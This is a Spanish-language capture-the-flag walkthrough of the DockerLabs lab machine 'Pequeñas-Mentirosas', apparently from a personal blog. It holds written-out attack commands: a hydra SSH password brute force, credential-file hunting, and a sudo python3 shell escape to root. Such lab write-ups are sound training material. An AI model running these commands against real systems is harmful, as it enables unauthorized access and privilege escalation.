DockerLabs - Pequeñas-Mentirosas
nmap
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs]
└─$ nmap -sCV -p22,80 172.17.0.2
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 9e:10:58:a5:1a:42:9d:be:e5:19:d1:2e:79:9c:ce:21 (ECDSA)
|_ 256 6b:a3:a8:84:e0:33:57:fc:44:49:69:41:7d:d3:c9:92 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn´t have a title (text/html).
análisis
En la pagina inicial del puerto 80 de la maquina nos encontramos con el siguiente mensaje, el cual nos da una pista de que es lo que debemos buscar:
acceso inicial (a)
Lo primero que intentamos es ver si a lo que se refieren con la pista es que debemos buscar un parámetro que, si le pasamos el carácter a, obtendríamos un resultado que nos permitiría seguir. Sin embargo, nos damos cuenta de que este no es el caso.
Por ello, lo siguiente es ver si a se trata de un usuario o una contraseña de SSH, que en este caso encontramos que se trata de un usuario:
1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs]
└─$ hydra -l a -P /usr/share/seclists/Passwords/rockyou.txt ssh://172.17.0.2 -t 64 -I
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: a password: secret
1 of 1 target successfully completed, 1 valid password found
Nos conectamos con las credenciales obtenidas:
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs]
└─$ ssh a@172.17.0.2
a@172.17.0.2's password:
a@94ac483a3277:~$ whoami
a
movimiento lateral (spencer)
Buscamos los ficheros que somos capaces de leer con el usuario actual, filtrando por lo que no nos interesa. De esta manera, encontramos algunos ficheros interesantes en la carpeta /srv/ftp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
a@94ac483a3277:/home$ find / -readable 2>/dev/null | grep -vE '/usr/share/zone|/proc|/sys/devices|/usr/include|/usr|/dev|/etc|/sys|/var|/run'
/
/home
/home/a
/home/a/.profile
/home/a/.bash_logout
/home/a/.bashrc
/home/spencer
/home/spencer/.profile
/home/spencer/.bash_logout
/home/spencer/.bashrc
/opt
/opt/challenges
/opt/scripts
/boot
/media
/tmp
/mnt
/srv
/srv/ftp
/srv/ftp/pista_fuerza_bruta.txt
/srv/ftp/cifrado_aes.enc
/srv/ftp/clave_publica.pem
/srv/ftp/hash_a.txt
/srv/ftp/mensaje_hash.txt
/srv/ftp/original_a.txt
/srv/ftp/mensaje_rsa.enc
/srv/ftp/retos.txt
/srv/ftp/hash_spencer.txt
/srv/ftp/retos_asimetrico.txt
/srv/ftp/clave_privada.pem
/srv/ftp/clave_aes.txt
/bin
/lib64
/lib
/sbin
/.dockerenv
/lib32
Los revisamos todos, y el que parece que puede servirnos es el /srv/ftp/hash_spencer.txt, ya que si obtenemos la contraseña del usuario spencer, podemos movernos lateralmente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
a@94ac483a3277:/home$ cat /srv/ftp/pista_fuerza_bruta.txt
Realiza un ataque de fuerza bruta para descubrir la contraseña de spencer...
a@94ac483a3277:/home$ cat /srv/ftp/mensaje_hash.txt
Descubre el hash y tendrás la clave...
a@94ac483a3277:/home$ cat /srv/ftp/cifrado_aes.enc
�a@94ac483a3277:/home$ cat /srv/ftp/clave_publica.pem
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArIk9pr+wSqiRQX/U29k0
kLYyLXlos5Phs7WyZK9LfDz/uBOCTBhBTMGjK5Op21Z9pszXJ6mgoreF/AW+xjTn
XDCh16kaIcACmp1nFOLn09snpk2s1h4cVJygGZmkHQg5rNMPdfn0rRmmnvgGCmim
oaubWuXYLn4Tu8GdRyAAj4P9hkZUMAQu9k1SpLRSIyVlcSisK/vBys8O05rZsZOg
0I7u2d+BuRYA8Px0qnxH1evx+Y3+oerN4823T6Vd+FqmfEHb7QUQ0EAZfJN3CFth
k9z7Q+AODqM5l8kYH2tEXk3xKQPo5qZlc6ep1tIHTERk3m0xEtE8LH157mkzbeli
VQIDAQAB
-----END PUBLIC KEY-----
a@94ac483a3277:/home$ cat /srv/ftp/hash_spencer.txt
7c6a****************************
Accedemos a crackstation.net para ver si el hash pertenece a una contraseña conocida:
Con la credencial recién obtenida, probamos a conectarnos como spencer:
1
2
3
4
a@94ac483a3277:/home$ su spencer
Password:
spencer@94ac483a3277:/home$ whoami
spencer
escalada de privilegios (root)
Revisamos los permisos SUDO del usuario spencer, y vemos que podemos ejecutar python3 como el usuario root:
1
2
3
4
5
6
spencer@94ac483a3277:/home$ sudo -l
Matching Defaults entries for spencer on 94ac483a3277:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User spencer may run the following commands on 94ac483a3277:
(ALL) NOPASSWD: /usr/bin/python3
En GTFOBins nos indican que podemos obtener una consola como el usuario root cuando tengamos permiso SUDO sobre python:
Ejecutamos el comando indicado, y ya tendríamos la consola como el usuario root:
1
2
3
spencer@94ac483a3277:/home$ sudo python3 -c 'import os; os.system("/bin/sh")'
# whoami
root



